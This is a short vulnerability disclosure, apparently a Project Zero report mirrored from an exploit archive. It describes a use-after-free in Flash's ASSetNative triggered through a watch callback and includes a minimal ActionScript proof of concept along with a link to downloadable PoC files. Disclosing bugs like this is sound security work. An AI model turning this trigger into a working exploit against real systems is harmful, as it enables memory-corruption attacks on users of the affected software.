Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");


function func (){

	t.removeMovieClip();

	}

A swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip